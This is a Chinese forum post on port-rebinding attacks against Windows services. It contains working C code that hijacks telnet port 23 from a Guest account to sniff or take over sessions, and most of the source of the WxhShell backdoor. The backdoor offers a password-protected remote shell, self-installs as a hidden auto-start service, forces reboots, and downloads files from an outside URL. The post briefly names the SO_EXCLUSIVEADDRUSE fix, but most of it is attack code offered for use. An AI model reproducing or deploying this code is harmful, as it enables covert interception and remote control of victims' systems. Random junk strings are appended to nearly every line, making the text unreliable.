社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11971阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t(3<w)r2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xXG-yh  
?kBi9^)N4  
  saddr.sin_family = AF_INET; AQX~do\A  
Vs@[="  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); AITV+=sN  
W vh3Y,|3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q1tZ]Q.6  
?VC[%sjwn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G#{ Xd6L  
m$nT#@l5bH  
  这意味着什么?意味着可以进行如下的攻击: C1=7.dPr  
s;oDwT1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i=b<Mz7|  
s9t`!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AKW M7fI  
e}|UVoeH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GilaON*pK.  
U~{fbS3,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ut26sg{s(  
Gao8!OaQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q2Xm~uN`)  
$`7cs}#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QLNQE6-  
r$3{1HXc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RmXC ^VQ  
CKJ9YKu{W  
  #include ]ZJu  
  #include #H]cb#  
  #include n _G< /8  
  #include    QcZ*dI7]:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xw?Mc{w  
  int main() eq^<5 f  
  { _T[=7cn  
  WORD wVersionRequested; SplEY!.k  
  DWORD ret; jKFypIZ4  
  WSADATA wsaData; |e+8Xz1>  
  BOOL val; (r8Rb*OP  
  SOCKADDR_IN saddr; 63hOK  
  SOCKADDR_IN scaddr; oU }eAZj{  
  int err; ;CbQ}k  
  SOCKET s; \0 &7^  
  SOCKET sc; T KpX]H`  
  int caddsize; ^,@!L-<~(b  
  HANDLE mt; dB{o-R  
  DWORD tid;   pJM~'tlHV  
  wVersionRequested = MAKEWORD( 2, 2 ); 3#)I7FG  
  err = WSAStartup( wVersionRequested, &wsaData ); v7rEU S-  
  if ( err != 0 ) { t*<@>]k  
  printf("error!WSAStartup failed!\n"); DDdMWH^o7  
  return -1; J%|!KQl  
  } 25xpq^Zw  
  saddr.sin_family = AF_INET; eKd F-;  
   D ff0$06Nq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 , sEu[m  
XA8{N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X+l &MD  
  saddr.sin_port = htons(23); sGx"j a +  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xyGk\= S  
  { rLMjN#`^  
  printf("error!socket failed!\n"); <DG=qP6O  
  return -1; C'bW3la  
  } YGp8./ma<I  
  val = TRUE; {J`Zl1_q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wwnl_9a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [kf$8 2  
  { F@e9Dz|  
  printf("error!setsockopt failed!\n"); ~T;FOB%w  
  return -1; sSVgDQ~q  
  } yya"*]*S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <uGc=Du  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 asT*Z"/Q!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fIOI  
-phwzR\(t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J!?hajw7N  
  { x1['+!01  
  ret=GetLastError(); HX1RA 5O  
  printf("error!bind failed!\n"); w6 C0]vh  
  return -1; :S Tj <  
  } B+:'Ld](  
  listen(s,2); 1EvAV,v"  
  while(1) V=!tZ[4z$h  
  { 'J+dTs ;0  
  caddsize = sizeof(scaddr); B j!{JcM-^  
  //接受连接请求 " S6'<~s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o!TG8aeb  
  if(sc!=INVALID_SOCKET) mjdZ^  
  { s&vREx(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Zy0u@``  
  if(mt==NULL) Q v/}WnBk  
  { 8 VMe#41  
  printf("Thread Creat Failed!\n"); d! 0p^!3  
  break; Xy{\>}i]N  
  } ><o dBM-  
  } j6wdqa9!~  
  CloseHandle(mt); Hm=!;xAFX  
  } VEAf,{)Q  
  closesocket(s); eNN)2-96  
  WSACleanup(); }eA2y($N  
  return 0; ~9.0:Fm<  
  }   HorFQ?8  
  DWORD WINAPI ClientThread(LPVOID lpParam) C[h"w'A2  
  { (<f`}, QxD  
  SOCKET ss = (SOCKET)lpParam; Y`@:L'j  
  SOCKET sc; <u\j 4<p  
  unsigned char buf[4096]; jOs&E^">&B  
  SOCKADDR_IN saddr; B%95M|  
  long num; x:bJ1%  
  DWORD val; o"F=3b~:n  
  DWORD ret; 1`1U'ibhe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H.sHXuu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JTuU}nm+  
  saddr.sin_family = AF_INET; {"< D$*K~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vu^ '+ky  
  saddr.sin_port = htons(23); 9pN},F91n:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `]L&2RS  
  { 69)- )en  
  printf("error!socket failed!\n"); 8c-r;DE  
  return -1; <Wgp$qt;  
  } $5XE'm  
  val = 100; >3R)&N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) , VT&  
  { ml=tS,  
  ret = GetLastError(); Ew>E]Ys  
  return -1; ?LU]O\p  
  } {ETuaFDM   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gkDyWZG B  
  { Vf S&V*un  
  ret = GetLastError(); }E626d}uA  
  return -1; [R$iX  
  } G }B)bM2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aw z(W >  
  { s!* m^zx  
  printf("error!socket connect failed!\n"); |l)z^V!  
  closesocket(sc); o+e:H jZZ  
  closesocket(ss); };5d>#NK,Y  
  return -1; dTN[E6#R  
  } |E/r64T  
  while(1) n&V\s0  
  { L+s3@ C;b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &s.S) 'l4l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NRU&GCVwu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |tl4I2AV  
  num = recv(ss,buf,4096,0); cE3g7(a  
  if(num>0) Bf37/kkf(  
  send(sc,buf,num,0); L4bx [  
  else if(num==0) "<f"r#   
  break; kk6Af\NZ  
  num = recv(sc,buf,4096,0); 15NeC7GAh  
  if(num>0) rr/0pa$  
  send(ss,buf,num,0); S>AM?  
  else if(num==0) k+ Shhe1  
  break; kXw&*B-/  
  } "`l8*]z  
  closesocket(ss); B}n tD  
  closesocket(sc); Jw;Tq"&  
  return 0 ; WCc7 MK  
  } 1D3{\v  
g"pjWj)?  
6_KO6O7g  
========================================================== {9>LF  
p%;n4*b2  
下边附上一个代码,,WXhSHELL 9"T&P_   
g\;&Z  
========================================================== !Zf< j  
J]|Zh  
#include "stdafx.h" oC"1{ybyl  
:m~R<BQ"  
#include <stdio.h> [wHGt?R  
#include <string.h> - \ {.]KL  
#include <windows.h> s];jroW@u  
#include <winsock2.h> 565UxG }  
#include <winsvc.h> 0)=U:y.  
#include <urlmon.h> K"lZwU\:On  
"UUzLa_  
#pragma comment (lib, "Ws2_32.lib") ;JQ:S~K9  
#pragma comment (lib, "urlmon.lib") !% 'dyj  
'Z^-(xG,+  
#define MAX_USER   100 // 最大客户端连接数 -_<rmR[:]  
#define BUF_SOCK   200 // sock buffer wGRMv1|lIu  
#define KEY_BUFF   255 // 输入 buffer 9 b?Nlk8d  
rUJIf;Zwo  
#define REBOOT     0   // 重启 {ek a xSR  
#define SHUTDOWN   1   // 关机 O7&6]/`  
B.O &KRo  
#define DEF_PORT   5000 // 监听端口 1DzI@c~X  
-M{.KqyW  
#define REG_LEN     16   // 注册表键长度 mU d['Z  
#define SVC_LEN     80   // NT服务名长度 ?]1_ 2\M  
(e,5 b  
// 从dll定义API <d&9`e1Hc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E'_3U5U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?<mxv"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }q-*Ls~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =8Bq2.nlR  
Sz z:$!t  
// wxhshell配置信息 .(D,CGtYb  
struct WSCFG { S3cV^CzNg  
  int ws_port;         // 监听端口 HN7C+e4U~  
  char ws_passstr[REG_LEN]; // 口令 X:3W9`s )*  
  int ws_autoins;       // 安装标记, 1=yes 0=no s2`:NS  
  char ws_regname[REG_LEN]; // 注册表键名 -SF *DZ  
  char ws_svcname[REG_LEN]; // 服务名 ~57.0?IK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l)1FCDV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x^0MEsR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rV *`0hA1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'WF Ey>1#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _VvXE572  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0m`{m'B4n  
=Fu~ 0Wc  
}; m+Um^:\jX  
{`X O3  
// default Wxhshell configuration .(2Zoa  
struct WSCFG wscfg={DEF_PORT, VMa \?`fT  
    "xuhuanlingzhe", G]DSwtB?D  
    1, o8Q+hZB}A  
    "Wxhshell", BRSOE U\=  
    "Wxhshell", oQsls9t  
            "WxhShell Service", 'h]sq {  
    "Wrsky Windows CmdShell Service", at(oepq  
    "Please Input Your Password: ", ;s$bVGHr  
  1, 9/LnO'&-  
  "http://www.wrsky.com/wxhshell.exe", -FxE!K  
  "Wxhshell.exe" JZc"4qf@OT  
    }; R:[IH2F s  
KUR9vo  
// 消息定义模块 5:" zs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mmf}6ABYT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XkGS3EY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .YYLMI  
char *msg_ws_ext="\n\rExit."; J.t tJOP  
char *msg_ws_end="\n\rQuit."; pb`!_GmB  
char *msg_ws_boot="\n\rReboot..."; 0vi)m y;!  
char *msg_ws_poff="\n\rShutdown..."; =Su~i Oa  
char *msg_ws_down="\n\rSave to "; n#\ t_/\  
N51g<K  
char *msg_ws_err="\n\rErr!"; xoT|fgb  
char *msg_ws_ok="\n\rOK!"; VH>?%aL  
.UdoB`@!v=  
char ExeFile[MAX_PATH]; 1I^uq>r  
int nUser = 0; !%8|R]d  
HANDLE handles[MAX_USER]; +?&|p0  
int OsIsNt; pz uR H1[  
,.Sd)JB'  
SERVICE_STATUS       serviceStatus; :\Pk>a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nKR=/5a4Y  
6/4?x)l3-  
// 函数声明 =W*Js%4  
int Install(void); v c r5  
int Uninstall(void); /a'cP  
int DownloadFile(char *sURL, SOCKET wsh); 5:T)hoF@  
int Boot(int flag); MhaoD5*9  
void HideProc(void); ~WKcO&  
int GetOsVer(void); 94Hs.S)  
int Wxhshell(SOCKET wsl); "{1SDbwmMo  
void TalkWithClient(void *cs); $t1XoL  
int CmdShell(SOCKET sock); Z` ;.62S  
int StartFromService(void); - C  
int StartWxhshell(LPSTR lpCmdLine); s\Zp/-Q  
:)PAj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L2N O_N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +^@;J?O  
){_D  
// 数据结构和表定义 cD!y d^QE  
SERVICE_TABLE_ENTRY DispatchTable[] = ]TTQ;F  
{ ?J1x'/G  
{wscfg.ws_svcname, NTServiceMain}, Q+r8qnL'  
{NULL, NULL} p3f>;|uh_  
}; s{30#^1R  
S1`;2mAf*  
// 自我安装 2)W~7GED  
int Install(void) }BR@vY'd  
{ bAd$ >DI[  
  char svExeFile[MAX_PATH];  Ie<`WU K  
  HKEY key; p%?VW  
  strcpy(svExeFile,ExeFile); ^o|Gx  
vz^w %67&  
// 如果是win9x系统,修改注册表设为自启动 )ld !(d=  
if(!OsIsNt) { Gv$}>YJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /8s+eHn&%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /4Q^L>a  
  RegCloseKey(key); ~AX@o-WU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mu~DB:Y9e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u#>*"4Q  
  RegCloseKey(key); 5Vj t!%?r  
  return 0; jcY:a0[{D  
    } YtWO=+rX  
  } \i}:Vb(^  
} Wu\szI"  
else { |J_kS90=  
j,%<16f^A  
// 如果是NT以上系统,安装为系统服务 p2\mPFxEP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uPvE;E_  
if (schSCManager!=0) -$Ad#Eu]M  
{ .dr-I7&!  
  SC_HANDLE schService = CreateService "j]85  
  ( QE b ^'y  
  schSCManager, J8>8@m6  
  wscfg.ws_svcname, :RqTbE4B  
  wscfg.ws_svcdisp, HK/T`p#  
  SERVICE_ALL_ACCESS, ^Hplrwj}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >E:V7Fa  
  SERVICE_AUTO_START, Pv>W`/*_,s  
  SERVICE_ERROR_NORMAL, r^2>60q'  
  svExeFile, "j<l=l!  
  NULL,  ?[`*z?}  
  NULL, WF!u2E+  
  NULL, Kj+=?R~}S  
  NULL, j1sZRl)D  
  NULL ar#Xe;T!  
  ); U,_jb}$Sq7  
  if (schService!=0) .0gF&>I}  
  { 555*IT3b  
  CloseServiceHandle(schService); F79!B  
  CloseServiceHandle(schSCManager); QUSyVp{$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lCznH?[  
  strcat(svExeFile,wscfg.ws_svcname); 4,yS7l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lls-Nir%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Zs"r}G^  
  RegCloseKey(key); Z_tK3kQa@&  
  return 0; ^kElb;d  
    } YgFmJ.1  
  } \]a@ NBv  
  CloseServiceHandle(schSCManager); bV~z}V&  
} MeSF,*lP  
} B,f4<  
~Ip-@c}'j  
return 1; OZ'=Xtbn  
} o(w xu)  
ap7ZT7KW  
// 自我卸载 a'U}.w}  
int Uninstall(void) T/b%,!N)  
{ )T_o!/\*|*  
  HKEY key; Jh)x_&R&Q  
e=yQFzQT)  
if(!OsIsNt) { 82z\^a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &/}reE*  
  RegDeleteValue(key,wscfg.ws_regname); Q`Z=}^  
  RegCloseKey(key); +wwb+aG6{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2y t)"DnFk  
  RegDeleteValue(key,wscfg.ws_regname); 0j-- X?-  
  RegCloseKey(key); ^@"EI|fsP  
  return 0; G';yb^DB  
  } *nj={Ss&  
} (#t"u`_Ee  
} eMDO;q  
else { <x^Ab#K"  
, Ac gsC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )nI}KQJ<  
if (schSCManager!=0) Qel2OI`b  
{ +5>*$L%8T`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yr\pgK,  
  if (schService!=0) WLB@]JvTBY  
  { *T+Bjj;w  
  if(DeleteService(schService)!=0) { f7mN,_Lt  
  CloseServiceHandle(schService); -F+ )N$CW  
  CloseServiceHandle(schSCManager); &:3uK`  
  return 0; LMF@-j%  
  } N"+o=nS  
  CloseServiceHandle(schService); tcm?qro)  
  } $0f(Gc|  
  CloseServiceHandle(schSCManager); 4=T.rVS[  
} ^>3q@,C]c  
} sFvu@Wm'7W  
2Gw2k8g&  
return 1; @`,~d{ziF  
} )U?O4| \P  
D (>,#F  
// 从指定url下载文件 m7|}PH" 7  
int DownloadFile(char *sURL, SOCKET wsh) |v'_Co0ki  
{ VN5UJ!$?J  
  HRESULT hr; p,)~w1|  
char seps[]= "/"; D;@nrj`.  
char *token; ^E)*i#."4  
char *file; Ui^~A  
char myURL[MAX_PATH]; zn=Ifz)#|  
char myFILE[MAX_PATH]; YEg(QOn3Q  
19r4J(pV  
strcpy(myURL,sURL); `~0^fSww  
  token=strtok(myURL,seps); 3t*e|Ih&j5  
  while(token!=NULL) 1hz:AUH  
  { &"h 9Awn2  
    file=token; ,k,RXgQ  
  token=strtok(NULL,seps); e?V7<7$  
  } TVVr<r  
^iHwv*ss  
GetCurrentDirectory(MAX_PATH,myFILE); t,f)!D$  
strcat(myFILE, "\\"); 'UW(0 PXw  
strcat(myFILE, file); q$<M2  
  send(wsh,myFILE,strlen(myFILE),0); \$iU#Z  
send(wsh,"...",3,0); 2NNAsr}L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?3 #W7sF  
  if(hr==S_OK) c6;326aD q  
return 0; I|`/#BYbW  
else 4dB6cg  
return 1; _`H2CXG g  
dv_& ei  
} "\n,vNk  
{1<XOp#b  
// 系统电源模块 U:a-Wi+  
int Boot(int flag) w[WyT`6h!  
{ wa #$9p~Q  
  HANDLE hToken; N`G* h^YQ  
  TOKEN_PRIVILEGES tkp; &yQilyU{V  
_D{V(c<WD  
  if(OsIsNt) { NB["U"1[^E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RW?F{Jy{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iq25|{1$  
    tkp.PrivilegeCount = 1; &V.\Svm8]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .[@TC@W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ({R-JkW: ;  
if(flag==REBOOT) { l[MP|m#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~_!lx  
  return 0; |#&{`3$CG[  
} X J+y5at  
else { pBd_Ba N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d>RoH]K4  
  return 0; \A{ [2  
} 6;O fh   
  } ,t2yw  
  else { &gDwsW  
if(flag==REBOOT) { Ew&pwsQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *FINNNARB  
  return 0; efc<lSUR  
} ?)Psf/  
else { -w[j`}([P9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0`LR!X  
  return 0; j o7`DDb  
} ;2NJkn9t  
} nB~hmE)  
_RTJEG  
return 1; yFD3:;}  
} up# R9 d|  
b`lLqV<[cB  
// win9x进程隐藏模块 #:~MtV  
void HideProc(void) ut<0-  
{ 3@t&5UjwQ  
)&nfV5@"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GG9YAu  
  if ( hKernel != NULL ) w$D&LA}(M  
  { ;fdROI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !LG 5q/}&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IbC8DDTD  
    FreeLibrary(hKernel); ,y>%m;jL  
  } ;Sc}e/WJj  
by:"aDGK.  
return; ]12ypcf  
} DE$HF*WY  
_#jR6g TY  
// 获取操作系统版本 Dc2U+U(J  
int GetOsVer(void) _ $ Wj1h  
{ (i 3=XfZ!C  
  OSVERSIONINFO winfo; [i9.#*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L/YEW7M  
  GetVersionEx(&winfo); + YjK#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;cFlZGw   
  return 1; z;V Ai=m q  
  else S4salpz  
  return 0; w;p: 4`  
} $4*wK@xu  
mmJ$+$JEk  
// 客户端句柄模块 aw3 oG?3I  
int Wxhshell(SOCKET wsl) eB]R<a60  
{ >" z$p@7  
  SOCKET wsh; &ody[k?'  
  struct sockaddr_in client; PQ#zF&gL9t  
  DWORD myID; w@jC#E\  
0bcbH9) 1q  
  while(nUser<MAX_USER) ik;S!S\v  
{ 7V="/0a  
  int nSize=sizeof(client); vg.K-"yQW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?k}"g$JFn  
  if(wsh==INVALID_SOCKET) return 1; y|+n77[Gv  
\i2S'AblYq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KeGGF]=>  
if(handles[nUser]==0) FxkxV GZ"  
  closesocket(wsh); >U.f`24  
else w]% |^:  
  nUser++; /'ukeK+'  
  } ]y **ZFA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kw M1f=!-  
W/\M9  
  return 0; Jn+k$'6 %#  
} 4e0/Q!o,  
kf Xg\6uKc  
// 关闭 socket QMI6l'"s  
void CloseIt(SOCKET wsh) $Y\-X<gRH  
{ Y\e8oIYu7  
closesocket(wsh); d4r@Gx%BE  
nUser--; nXg:lCI-uu  
ExitThread(0); @ uF$m/g  
} x+%(z8wD  
v)!C Dpw  
// 客户端请求句柄 ^&Re-{ES]  
void TalkWithClient(void *cs) "UVqHW1%K  
{  g%.;ZlK  
egd%,`  
  SOCKET wsh=(SOCKET)cs; PdkS3Hz  
  char pwd[SVC_LEN]; iVQ)hs W/  
  char cmd[KEY_BUFF]; 0o>l+c  
char chr[1]; NCKhrDd&  
int i,j; xc&&UKd  
@j{n V@|  
  while (nUser < MAX_USER) { i:@n6GW+iw  
"h84D&V  
if(wscfg.ws_passstr) { G(*7hs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S+LS!b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mT3'kUZ}]  
  //ZeroMemory(pwd,KEY_BUFF); z+=wql*Eo  
      i=0; 6z-&Zu7@  
  while(i<SVC_LEN) { KJLC2,  
xV}ybRKV  
  // 设置超时 q ?qpUPzD  
  fd_set FdRead; }23#z  
  struct timeval TimeOut; -!s?d5k")  
  FD_ZERO(&FdRead); +J+[fbqX  
  FD_SET(wsh,&FdRead); (TF;+FRW  
  TimeOut.tv_sec=8; PIthv [F  
  TimeOut.tv_usec=0; ,5 ylrE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tg-HR8}X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^gu;  
?%]?#4bkc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mD]^a;U[X  
  pwd=chr[0]; 8euh]+  
  if(chr[0]==0xd || chr[0]==0xa) { O\5q_>]  
  pwd=0; N+V_[qr#  
  break; X  *f le  
  } o(|fapK.  
  i++; "AayU  
    } )2YZ [~3  
)Z.M(P  
  // 如果是非法用户,关闭 socket g:&V9~FR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f'-) 3T  
} @&4s)&-F  
}vof| (Yh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "x"y3v'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lu6?$N57rC  
MF}}o0P  
while(1) { C>0='@LB@r  
"{X_[  
  ZeroMemory(cmd,KEY_BUFF); d=$1Z. ]  
'y<<ce*   
      // 自动支持客户端 telnet标准   B+pJWl8u  
  j=0; Kd%>:E*  
  while(j<KEY_BUFF) { D,<#pNO_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .%3qzOrN  
  cmd[j]=chr[0]; efnj5|JSV  
  if(chr[0]==0xa || chr[0]==0xd) { G#(+p|n  
  cmd[j]=0; !J%m7 A  
  break; 1}#RUqFrvS  
  } $(PWN6{\r^  
  j++; zB@@Gs>  
    } OpT0V]k^"9  
XY*KWO  
  // 下载文件 1(ud(8?|  
  if(strstr(cmd,"http://")) { OBBEsD/bc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {R{Io|   
  if(DownloadFile(cmd,wsh)) ;=ci7IT'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *]uj0@S  
  else (d@ =   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5>38Kd  
  } {z j<nu  
  else { -g6C;<Y  
{W5D)  
    switch(cmd[0]) { l*0`{R  
  YYiT,Xp<A  
  // 帮助 P:3%#d~q  
  case '?': { ="Edt+a)t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DdG*eKC  
    break; :87HXz6]jS  
  } ,2y " \_  
  // 安装 UB7H`)C}  
  case 'i': { j%Cr)' H?  
    if(Install()) Z?o?"|o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ac@ zTK6>  
    else 0s%rd>3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }F;Nh7?  
    break; KDmzKOl  
    } K7 N)VG  
  // 卸载 4-dV%DgC  
  case 'r': { {k#RWDespy  
    if(Uninstall()) 4\?GA`@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C $r]]MSj  
    else G'\x9%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?t{ 2y1  
    break; TzW1+DxM5  
    } (wtw1E5X  
  // 显示 wxhshell 所在路径 ^9zFAY.|  
  case 'p': { h+!   
    char svExeFile[MAX_PATH]; 1}$GVb%i  
    strcpy(svExeFile,"\n\r"); wzka4J{  
      strcat(svExeFile,ExeFile); m@W\Pic,j.  
        send(wsh,svExeFile,strlen(svExeFile),0); HxXCxI3  
    break; nP+]WUnY  
    } mn;Wqb/  
  // 重启 &\_cU?0d  
  case 'b': { ?7:?OX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8pQ:B/3=  
    if(Boot(REBOOT)) i H^Gv*  
